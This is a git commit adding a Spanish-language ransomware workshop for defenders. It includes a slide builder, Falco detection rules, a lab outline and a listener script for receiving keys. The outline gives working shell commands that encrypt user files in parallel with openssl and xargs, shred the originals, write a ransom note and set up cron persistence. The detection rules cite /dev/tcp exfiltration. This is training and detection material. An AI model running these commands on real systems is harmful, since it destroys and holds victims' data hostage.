add QueComanTierra LOLBin ransomware workshop
Scripts ofensivos (xargs, tarbulk, noxargs), C2 listener, Falco detection rules, slides md + pptx, y estructura del workshop.
This commit is contained in:
4
QueComanTierra/.gitignore
vendored
Normal file
4
QueComanTierra/.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
stolen_keys.log
|
||||
vaults/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
BIN
QueComanTierra/Tierra.jpg
Normal file
BIN
QueComanTierra/Tierra.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 MiB |
9685
QueComanTierra/Tierra.pdf
Normal file
9685
QueComanTierra/Tierra.pdf
Normal file
File diff suppressed because one or more lines are too long
340
QueComanTierra/build_pptx.py
Normal file
340
QueComanTierra/build_pptx.py
Normal file
@@ -0,0 +1,340 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
|
||||
Los backgrounds se copian directamente desde los slides del template.
|
||||
"""
|
||||
from pptx import Presentation
|
||||
from pptx.util import Pt, Emu
|
||||
from pptx.dml.color import RGBColor
|
||||
from lxml import etree
|
||||
import copy, re, zipfile, io, tempfile, os
|
||||
|
||||
TEMPLATE = "../../Red Team.pptx"
|
||||
SOURCE = "slides.md"
|
||||
OUTPUT = "slides.pptx"
|
||||
|
||||
# Layouts en la plantilla (por nombre español)
|
||||
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
|
||||
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
|
||||
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
|
||||
|
||||
# Slides del template que sirven como fuente de backgrounds
|
||||
# slide1=portada, slide3=contenido, slide5=seccion divisor
|
||||
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
|
||||
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
|
||||
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
|
||||
|
||||
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
||||
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
|
||||
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
|
||||
IMG_REL = f'{RNS}/image'
|
||||
|
||||
# ─── template limpio ─────────────────────────────────────────────────────────
|
||||
|
||||
def make_clean_template(src):
|
||||
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
|
||||
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
|
||||
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
|
||||
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
|
||||
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
|
||||
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
|
||||
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
||||
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
|
||||
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(src, 'r') as zin, \
|
||||
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
|
||||
for item in zin.infolist():
|
||||
name = item.filename
|
||||
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
|
||||
continue # eliminar slides y sus rels del ZIP
|
||||
data = zin.read(name)
|
||||
|
||||
if name == 'ppt/presentation.xml':
|
||||
root = etree.fromstring(data)
|
||||
lst = root.find(f'{{{PML_NS}}}sldIdLst')
|
||||
if lst is not None:
|
||||
lst.clear()
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
elif name == 'ppt/_rels/presentation.xml.rels':
|
||||
root = etree.fromstring(data)
|
||||
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
|
||||
if rel.get('Type') == SLIDE_REL_TYPE:
|
||||
root.remove(rel)
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
elif name == '[Content_Types].xml':
|
||||
root = etree.fromstring(data)
|
||||
for ov in root.findall(f'{{{CT_NS}}}Override'):
|
||||
if ov.get('ContentType') == SLIDE_CT:
|
||||
root.remove(ov)
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
zout.writestr(item, data)
|
||||
|
||||
buf.seek(0)
|
||||
return buf
|
||||
|
||||
# ─── background copy ──────────────────────────────────────────────────────────
|
||||
|
||||
def copy_background(new_slide, template_slide):
|
||||
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
|
||||
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
|
||||
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
|
||||
if bg is None:
|
||||
return
|
||||
|
||||
blip = bg.find(f'.//{{{ANS}}}blip')
|
||||
if blip is None:
|
||||
return
|
||||
|
||||
old_rId = blip.get(f'{{{RNS}}}embed')
|
||||
if not old_rId:
|
||||
return
|
||||
|
||||
# Obtener la imagen del template y relacionarla con el nuevo slide
|
||||
image_part = template_slide.part.related_part(old_rId)
|
||||
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
|
||||
|
||||
# Clonar <p:bg> y actualizar el rId
|
||||
new_bg = copy.deepcopy(bg)
|
||||
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
|
||||
new_blip.set(f'{{{RNS}}}embed', new_rId)
|
||||
|
||||
# Insertar en cSld del nuevo slide (antes de spTree)
|
||||
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
|
||||
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
|
||||
if existing_bg is not None:
|
||||
new_cSld.remove(existing_bg)
|
||||
new_cSld.insert(0, new_bg)
|
||||
|
||||
# ─── helpers de texto ─────────────────────────────────────────────────────────
|
||||
|
||||
def clean(text):
|
||||
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
|
||||
text = re.sub(r'\*(.*?)\*', r'\1', text)
|
||||
text = re.sub(r'`(.*?)`', r'\1', text)
|
||||
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
|
||||
return text.strip()
|
||||
|
||||
def fill_placeholder(ph, lines):
|
||||
tf = ph.text_frame
|
||||
tf.word_wrap = True
|
||||
tf.clear()
|
||||
|
||||
in_code = False
|
||||
first_p = True
|
||||
|
||||
for line in lines:
|
||||
if line.startswith('```'):
|
||||
in_code = not in_code
|
||||
continue
|
||||
if re.match(r'^\s*\|?[-:| ]+\|', line):
|
||||
continue
|
||||
|
||||
stripped = line.rstrip()
|
||||
if not stripped and not in_code:
|
||||
continue
|
||||
|
||||
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
|
||||
first_p = False
|
||||
|
||||
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
|
||||
if bullet and not in_code:
|
||||
indent = len(bullet.group(1)) // 2
|
||||
p.level = min(indent + 1, 4)
|
||||
run = p.add_run()
|
||||
run.text = clean(bullet.group(3))
|
||||
elif in_code:
|
||||
# Eliminar bullet del párrafo
|
||||
pPr = p._p.get_or_add_pPr()
|
||||
for child in list(pPr):
|
||||
if child.tag.split('}')[-1].startswith('bu'):
|
||||
pPr.remove(child)
|
||||
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
|
||||
run = p.add_run()
|
||||
run.text = stripped.lstrip()
|
||||
run.font.name = 'Courier New'
|
||||
run.font.size = Pt(13)
|
||||
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
|
||||
else:
|
||||
heading = re.match(r'^#{2,4} (.+)', stripped)
|
||||
if heading:
|
||||
run = p.add_run()
|
||||
run.text = clean(heading.group(1))
|
||||
run.font.bold = True
|
||||
else:
|
||||
run = p.add_run()
|
||||
run.text = clean(stripped)
|
||||
|
||||
# ─── parser ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def parse_slides(path):
|
||||
with open(path) as f:
|
||||
raw = f.read()
|
||||
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
|
||||
blocks = re.split(r'\n---\n', raw)
|
||||
return [b.strip() for b in blocks if b.strip()]
|
||||
|
||||
def classify(block):
|
||||
lines = block.split('\n')
|
||||
first = lines[0]
|
||||
|
||||
if re.match(r'^# ', first):
|
||||
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
|
||||
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
|
||||
return ('section', title, body)
|
||||
|
||||
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
|
||||
body = [l for l in lines[1:] if l.strip()]
|
||||
return ('section', '', body)
|
||||
|
||||
if re.match(r'^## ', first):
|
||||
title = re.sub(r'^## ', '', first).strip()
|
||||
return ('content', title, lines[1:])
|
||||
|
||||
return ('content', '', lines)
|
||||
|
||||
# ─── tables ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def parse_md_table(lines):
|
||||
"""Separa lineas en (non_table_lines, table_rows).
|
||||
Ignora pipes dentro de code fences para no confundirlos con tablas."""
|
||||
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
|
||||
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
|
||||
|
||||
non_table, rows = [], []
|
||||
in_code = False
|
||||
for line in lines:
|
||||
if line.startswith('```'):
|
||||
in_code = not in_code
|
||||
non_table.append(line)
|
||||
continue
|
||||
if in_code:
|
||||
non_table.append(line)
|
||||
continue
|
||||
if is_sep(line):
|
||||
continue
|
||||
if is_table(line):
|
||||
cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
|
||||
rows.append(cells)
|
||||
else:
|
||||
non_table.append(line)
|
||||
return non_table, rows
|
||||
|
||||
def add_pptx_table(slide, rows, left, top, width, height):
|
||||
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
|
||||
if not rows:
|
||||
return
|
||||
n_rows = len(rows)
|
||||
n_cols = max(len(r) for r in rows)
|
||||
|
||||
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
|
||||
|
||||
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
|
||||
if n_cols == 2:
|
||||
tbl.columns[0].width = int(width * 0.25)
|
||||
tbl.columns[1].width = int(width * 0.75)
|
||||
else:
|
||||
for i in range(n_cols):
|
||||
tbl.columns[i].width = width // n_cols
|
||||
|
||||
RED = RGBColor(0x8B, 0x00, 0x00)
|
||||
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
|
||||
BLACK = RGBColor(0x00, 0x00, 0x00)
|
||||
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
|
||||
|
||||
for ri, row in enumerate(rows):
|
||||
header = (ri == 0)
|
||||
for ci in range(n_cols):
|
||||
cell = tbl.cell(ri, ci)
|
||||
text = row[ci] if ci < len(row) else ''
|
||||
cell.text = text
|
||||
cell.fill.solid()
|
||||
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
|
||||
for para in cell.text_frame.paragraphs:
|
||||
for run in para.runs:
|
||||
run.font.size = Pt(14)
|
||||
run.font.bold = header
|
||||
run.font.color.rgb = WHITE if header else BLACK
|
||||
|
||||
# ─── builder ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def build():
|
||||
# Template original: solo para extraer backgrounds
|
||||
tmpl = Presentation(TEMPLATE)
|
||||
tmpl_slides = list(tmpl.slides)
|
||||
|
||||
# Template limpio: sin slides, para construir desde cero
|
||||
clean_buf = make_clean_template(TEMPLATE)
|
||||
prs = Presentation(clean_buf)
|
||||
|
||||
blocks = parse_slides(SOURCE)
|
||||
|
||||
def add(layout_idx, bg_idx):
|
||||
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
|
||||
copy_background(slide, tmpl_slides[bg_idx])
|
||||
return slide
|
||||
|
||||
# Slide 1: portada
|
||||
slide = add(L_TITLE, BG_TITLE)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = "Que coman tierra"
|
||||
elif ph.placeholder_format.idx == 1:
|
||||
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
|
||||
|
||||
# Slides desde markdown
|
||||
for block in blocks:
|
||||
kind, title, body_lines = classify(block)
|
||||
|
||||
if kind == 'section':
|
||||
slide = add(L_SECTION, BG_SECTION)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = title
|
||||
elif ph.placeholder_format.idx == 1 and body_lines:
|
||||
fill_placeholder(ph, body_lines)
|
||||
for para in ph.text_frame.paragraphs:
|
||||
for run in para.runs:
|
||||
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
|
||||
else:
|
||||
slide = add(L_CONTENT, BG_CONTENT)
|
||||
non_tbl, tbl_rows = parse_md_table(body_lines)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = title
|
||||
elif ph.placeholder_format.idx == 1:
|
||||
if tbl_rows:
|
||||
# Usar posicion del placeholder para colocar la tabla
|
||||
sp = ph._element
|
||||
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
|
||||
if xfrm is not None:
|
||||
off = xfrm.find(f'{{{ANS}}}off')
|
||||
ext = xfrm.find(f'{{{ANS}}}ext')
|
||||
l = int(off.get('x', 0))
|
||||
t = int(off.get('y', 0))
|
||||
w = int(ext.get('cx', 0))
|
||||
h = int(ext.get('cy', 0))
|
||||
else:
|
||||
l, t, w, h = 838200, 1600200, 10515600, 4500000
|
||||
# Si hay texto además de tabla, reducir altura de tabla
|
||||
if non_tbl:
|
||||
fill_placeholder(ph, non_tbl)
|
||||
t_offset = int(h * 0.45)
|
||||
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
|
||||
else:
|
||||
ph.text = '' # vaciar placeholder
|
||||
add_pptx_table(slide, tbl_rows, l, t, w, h)
|
||||
else:
|
||||
fill_placeholder(ph, body_lines)
|
||||
|
||||
prs.save(OUTPUT)
|
||||
print(f"OK: {OUTPUT} — {len(prs.slides)} slides.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
build()
|
||||
4
QueComanTierra/compile.sh
Executable file
4
QueComanTierra/compile.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
python3 build_pptx.py
|
||||
155
QueComanTierra/detection/falco_rules.yaml
Normal file
155
QueComanTierra/detection/falco_rules.yaml
Normal file
@@ -0,0 +1,155 @@
|
||||
# Falco rules: detección comportamental de ransomware LOLBin
|
||||
# Probadas contra tarbulk.sh y xargs_ransom.sh
|
||||
# MITRE ATT&CK: T1059.004 (Unix Shell), T1486 (Data Encrypted for Impact), T1048 (Exfiltration)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Macros
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
- macro: shell_proc
|
||||
condition: proc.name in (bash, sh, dash, ksh, zsh)
|
||||
|
||||
- macro: doc_extensions
|
||||
condition: >
|
||||
fd.name endswith ".txt" or
|
||||
fd.name endswith ".pdf" or
|
||||
fd.name endswith ".docx" or
|
||||
fd.name endswith ".doc" or
|
||||
fd.name endswith ".db" or
|
||||
fd.name endswith ".sh" or
|
||||
fd.name endswith ".zip"
|
||||
|
||||
- macro: user_dirs
|
||||
condition: >
|
||||
fd.directory startswith "/home" or
|
||||
fd.directory startswith "/root" or
|
||||
fd.directory startswith "/var/www"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Regla 1: openssl enc invocado desde shell sin -in (leyendo de pipe)
|
||||
#
|
||||
# Detecta: tar ... | openssl enc ... > /tmp/.vault.enc
|
||||
# También detecta la variante xargs con -pass pass:KEY
|
||||
#
|
||||
# Falsos positivos esperados: scripts de backup legítimos que cifren con
|
||||
# openssl. Mitigar añadiendo proc.aname[2] != "cron" o whitelistando usuarios
|
||||
# de backup en allowed_backup_users.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
- list: allowed_backup_users
|
||||
items: [backup, root]
|
||||
|
||||
- rule: Shell Spawning OpenSSL Bulk Encryption
|
||||
desc: >
|
||||
Un proceso shell invocó openssl enc con cifrado AES. Sin -in explícito
|
||||
(lee de pipe) y con -pass en línea de comandos. Patrón característico
|
||||
de ransomware LOLBin via tar|openssl o xargs|openssl.
|
||||
condition: >
|
||||
spawned_process and
|
||||
shell_proc and
|
||||
proc.name = "openssl" and
|
||||
proc.cmdline contains "enc" and
|
||||
proc.cmdline contains "aes" and
|
||||
proc.cmdline contains "-pass" and
|
||||
not user.name in (allowed_backup_users)
|
||||
output: >
|
||||
openssl enc desde shell, posible cifrado masivo
|
||||
(user=%user.name uid=%user.uid
|
||||
cmd=%proc.cmdline
|
||||
parent=%proc.pname ppid=%proc.ppid
|
||||
container=%container.name)
|
||||
priority: WARNING
|
||||
tags: [lolbin, ransomware, T1486, T1059.004]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Regla 2: bash abriendo socket TCP directamente (/dev/tcp)
|
||||
#
|
||||
# Detecta: printf '...' > /dev/tcp/192.168.1.5/9090
|
||||
#
|
||||
# bash no debería abrir conexiones TCP salientes directamente.
|
||||
# Si lo hace, es exfiltración via /dev/tcp o reverse shell.
|
||||
#
|
||||
# Falsos positivos: scripts de healthcheck que usen /dev/tcp para probar
|
||||
# conectividad. Mitigar con proc.pname != "systemd" o allowlist de puertos.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
- list: allowed_tcp_dests
|
||||
items: [] # añadir IPs internas si hay falsos positivos
|
||||
|
||||
- rule: Bash Native TCP Exfiltration
|
||||
desc: >
|
||||
bash abrió un socket TCP directo. Indica uso de /dev/tcp, técnica de
|
||||
exfiltración que no requiere curl, wget ni ningún binario externo.
|
||||
Alta fidelidad: bash no debería conectarse a la red directamente.
|
||||
condition: >
|
||||
evt.type = connect and
|
||||
fd.typechar = "4" and
|
||||
shell_proc and
|
||||
not fd.rip in (allowed_tcp_dests)
|
||||
output: >
|
||||
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
||||
(user=%user.name uid=%user.uid
|
||||
dst=%fd.rip:%fd.rport
|
||||
pid=%proc.pid cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
priority: CRITICAL
|
||||
tags: [lolbin, exfiltration, T1048, T1059.004]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Regla 3: eliminación masiva de documentos de usuario desde shell
|
||||
#
|
||||
# Detecta: printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
# (3470 llamadas unlink en ~4 segundos)
|
||||
#
|
||||
# Esta regla se dispara una vez por archivo eliminado. El VOLUMEN es la
|
||||
# señal: 3470 alertas en 4 segundos es inconfundible en un SIEM.
|
||||
# Con Falco + Falcosidekick puedes agregar y alertar sobre el rate.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
- rule: Mass Document Deletion by Shell Process
|
||||
desc: >
|
||||
Proceso shell eliminando archivos de documento en directorios de usuario.
|
||||
Individualmente normal; a escala (cientos/segundo) es la fase de
|
||||
destrucción de ransomware. Correlacionar con Regla 1 para alta confianza.
|
||||
condition: >
|
||||
evt.type in (unlink, unlinkat) and
|
||||
proc.name in (rm, bash, sh) and
|
||||
doc_extensions and
|
||||
user_dirs
|
||||
output: >
|
||||
documento de usuario eliminado por proceso shell
|
||||
(user=%user.name uid=%user.uid
|
||||
file=%fd.name
|
||||
proc=%proc.name cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
priority: WARNING
|
||||
tags: [ransomware, destruction, T1486]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Regla 4: archivo opaco grande creado en /tmp
|
||||
#
|
||||
# Detecta: openssl enc ... > /tmp/.vault.enc (29 MB, nombre con punto)
|
||||
#
|
||||
# Un archivo con nombre oculto (punto) y extensión .enc en /tmp es
|
||||
# indicador fuerte de staging de datos exfiltrados o vault cifrado.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
- rule: Hidden Encrypted Archive Staged in Tmp
|
||||
desc: >
|
||||
Se creó un archivo oculto con extensión .enc en /tmp. Patrón de
|
||||
tarbulk: el vault cifrado se escribe en /tmp antes de exfiltrarse.
|
||||
Los archivos legítimos en /tmp raramente tienen nombre oculto + .enc.
|
||||
condition: >
|
||||
evt.type in (open, openat) and
|
||||
evt.arg.flags contains O_CREAT and
|
||||
fd.directory = "/tmp" and
|
||||
fd.filename startswith "." and
|
||||
fd.name endswith ".enc"
|
||||
output: >
|
||||
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
||||
(user=%user.name uid=%user.uid
|
||||
file=%fd.name
|
||||
proc=%proc.name cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
priority: CRITICAL
|
||||
tags: [ransomware, staging, T1486, T1074]
|
||||
180
QueComanTierra/estructura.md
Normal file
180
QueComanTierra/estructura.md
Normal file
@@ -0,0 +1,180 @@
|
||||
# Que coman tierra: de LOLBINs a ransomware
|
||||
## Estructura del Taller
|
||||
|
||||
**Audiencia:** Defensores, sysadmins, blue teamers
|
||||
**Duración estimada:** 3-4 horas
|
||||
**Entorno:** VM Linux aislada (sin red externa)
|
||||
|
||||
---
|
||||
|
||||
## Módulo 1: El problema invisible (20 min)
|
||||
|
||||
**Concepto central:** Un ataque que no instala nada es casi indetectable con herramientas tradicionales.
|
||||
|
||||
- Qué son los LOLBins (Living Off the Land Binaries)
|
||||
- Por qué los antivirus no los detienen
|
||||
- Casos reales: ataques ransomware 100% con herramientas del sistema
|
||||
- La pregunta incómoda: ¿qué tan fácil es?
|
||||
|
||||
---
|
||||
|
||||
## Módulo 2: El arsenal del sistema (30 min)
|
||||
|
||||
**Concepto central:** El atacante ya tiene todo lo que necesita instalado.
|
||||
|
||||
| Herramienta | Capacidad ofensiva |
|
||||
|--------------------|-------------------------------------------------------|
|
||||
| `openssl` | Cifrado simétrico y asimétrico |
|
||||
| `find` | Reconocimiento y targeting de archivos |
|
||||
| `xargs` | Paralelización masiva de operaciones sobre archivos |
|
||||
| `tar` / `dd` | Exfiltración y destrucción |
|
||||
| `python3` / `perl` | Scripting completo sin instalar nada |
|
||||
| `base64` | Codificación de claves / evasión |
|
||||
| `cron` / `at` | Persistencia y ejecución diferida |
|
||||
| `shred` | Destrucción segura de originales |
|
||||
| `curl` / `wget` | C2 simulado |
|
||||
|
||||
Demo en vivo: cada herramienta haciendo algo que "no debería".
|
||||
|
||||
### xargs: el multiplicador de fuerza
|
||||
|
||||
`find` localiza objetivos. `xargs` los procesa en paralelo. La diferencia en velocidad es brutal.
|
||||
|
||||
```bash
|
||||
# Lento: cifrado secuencial con while loop
|
||||
while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
|
||||
done < /tmp/.targets
|
||||
|
||||
# Rápido: cifrado paralelo con xargs -P
|
||||
find /home/victim -type f -name "*.txt" -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc
|
||||
```
|
||||
|
||||
`-P $(nproc)` lanza tantos procesos paralelos como cores tenga la máquina. En un servidor con 16 cores, un atacante cifra **miles de archivos en segundos**. Esta es la razón por la que el ransomware moderno es tan rápido que los backups en tiempo real no alcanzan a reaccionar.
|
||||
|
||||
---
|
||||
|
||||
## Módulo 3: Anatomía de un ataque (30 min)
|
||||
|
||||
**Concepto central:** El ransomware tiene fases. Cada fase usa un LOLBin distinto.
|
||||
|
||||
### Fases del ataque
|
||||
|
||||
1. **Reconocimiento** - `find` mapea archivos objetivo
|
||||
2. **Generación de clave** - `openssl rand` crea clave efímera
|
||||
3. **Cifrado paralelo** - `find | xargs -P` cifra todo simultáneamente
|
||||
4. **Destrucción del original** - `shred` elimina el archivo limpio
|
||||
5. **Exfiltración de clave** - `curl` envía clave al atacante
|
||||
6. **Nota de rescate** - `echo` / `wall` / fondo de escritorio
|
||||
7. **Persistencia** - `cron` para re-cifrar si se intenta recuperar
|
||||
|
||||
Diagrama de flujo del ataque completo.
|
||||
|
||||
---
|
||||
|
||||
## Módulo 4: Lab "Preparando el plato" (90 min)
|
||||
|
||||
**Objetivo:** Ejecutar un ataque simulado completo en entorno aislado y entender cada paso desde adentro.
|
||||
|
||||
### Prerequisitos del lab
|
||||
- VM Ubuntu/Debian sin snapshots previos (propósito)
|
||||
- Directorio `/home/victim/documentos/` con archivos de prueba
|
||||
- Sin conexión a red real
|
||||
|
||||
### Ejercicios
|
||||
|
||||
#### Ejercicio 1: Reconocimiento (15 min)
|
||||
```bash
|
||||
find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) > /tmp/.targets
|
||||
wc -l /tmp/.targets
|
||||
```
|
||||
|
||||
#### Ejercicio 2: Generar clave (5 min)
|
||||
```bash
|
||||
openssl rand -base64 32 > /tmp/.key
|
||||
```
|
||||
|
||||
#### Ejercicio 3: Cifrado paralelo con xargs (30 min)
|
||||
|
||||
Primero, la versión lenta para que la sientan:
|
||||
```bash
|
||||
# Versión while loop - medir con `time`
|
||||
time while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
|
||||
shred -u "$f"
|
||||
done < /tmp/.targets
|
||||
```
|
||||
|
||||
Luego, la versión real:
|
||||
```bash
|
||||
# Versión xargs -P - mismo resultado, velocidad completamente diferente
|
||||
time find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" \) -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in "$1" -out "$1.enc" && shred -u "$1"' \
|
||||
_ {}
|
||||
```
|
||||
|
||||
**Pregunta para el grupo:** ¿cuántos archivos por segundo procesó cada versión? ¿Qué implica eso para la ventana de detección?
|
||||
|
||||
#### Ejercicio 4: Nota de rescate (10 min)
|
||||
```bash
|
||||
cat > /home/victim/LEEME_URGENTE.txt << 'RANSOMNOTE'
|
||||
Tus archivos han sido cifrados.
|
||||
Tienes 72 horas para pagar.
|
||||
RANSOMNOTE
|
||||
wall /home/victim/LEEME_URGENTE.txt
|
||||
```
|
||||
|
||||
#### Ejercicio 5: Persistencia (10 min)
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo "*/5 * * * * find /home/victim -name '*.txt' -newer /tmp/.key -print0 | xargs -0 -P 4 -I{} openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc") | crontab -
|
||||
```
|
||||
|
||||
#### Ejercicio 6: Análisis forense post-ataque (20 min)
|
||||
- ¿Qué quedó en logs?
|
||||
- ¿Qué proceso hizo qué?
|
||||
- ¿Hubo alguna señal detectable?
|
||||
- ¿En qué momento hubiera sido posible interrumpirlo?
|
||||
|
||||
---
|
||||
|
||||
## Módulo 5: Defensa, cómo no comer tierra (40 min)
|
||||
|
||||
**Concepto central:** Si entendiste el ataque, entiendes dónde poner los controles.
|
||||
|
||||
### Detección
|
||||
- `auditd` - auditoría de syscalls (`openssl`, `shred`, `xargs` con muchos forks, escrituras masivas)
|
||||
- Alerta en spike de procesos `openssl` simultáneos (señal directa de `xargs -P`)
|
||||
- Reglas YARA para patrones de comportamiento, no de firma
|
||||
- Alertas en accesos masivos a archivos en ventana corta de tiempo
|
||||
- Monitoreo de modificaciones a `crontab`
|
||||
|
||||
### Prevención
|
||||
- Backups inmutables (S3 Object Lock, ZFS snapshots, `restic`)
|
||||
- Filesystem flags: `chattr +i` para archivos críticos
|
||||
- AppArmor/SELinux profiles que restringen `openssl` a usuarios específicos
|
||||
- Principio de mínimo privilegio
|
||||
|
||||
### Respuesta
|
||||
- Runbook de incident response para ransomware
|
||||
- Cómo identificar la clave si no fue exfiltrada
|
||||
- Recuperación desde snapshots
|
||||
|
||||
---
|
||||
|
||||
## Módulo 6: Cierre (10 min)
|
||||
|
||||
- "La mejor defensa es saber cómo atacan"
|
||||
- Recursos: GTFOBins, LOLBAS, MITRE ATT&CK T1486
|
||||
- Tarea: auditar su propio entorno con `auditd`
|
||||
|
||||
---
|
||||
|
||||
## Notas para el instructor
|
||||
|
||||
- **Nunca ejecutar en sistemas reales** - solo en VMs aisladas con snapshots
|
||||
- Tener snapshots pre-hechos para restaurar rápido entre grupos
|
||||
- El módulo 4 es el núcleo - darle tiempo extra si es necesario
|
||||
- El objetivo NO es crear atacantes: es crear defensores que entienden el ataque
|
||||
3
QueComanTierra/getkeys.sh
Executable file
3
QueComanTierra/getkeys.sh
Executable file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
|
||||
python3 -m http.server -b 192.168.1.5 9090
|
||||
4
QueComanTierra/notas.md
Normal file
4
QueComanTierra/notas.md
Normal file
@@ -0,0 +1,4 @@
|
||||
Título:
|
||||
- "Que coman tierra: de LOLBINs a ransomware"
|
||||
Descripción:
|
||||
- "Comer tierra" es lo que sientes cuando descubres que un atacante ha cifrado tus servidores sin instalar nada. En este taller te enseñamos a preparar ese plato, pero desde el lado ético. Usarás herramientas legítimas de Linux para ejecutar un ataque simulado de ransomware y entenderás por qué la seguridad ofensiva es la mejor defensa.
|
||||
2
QueComanTierra/ransomware/loader.sh
Normal file
2
QueComanTierra/ransomware/loader.sh
Normal file
File diff suppressed because one or more lines are too long
60
QueComanTierra/ransomware/noxargs_ransom.sh
Normal file
60
QueComanTierra/ransomware/noxargs_ransom.sh
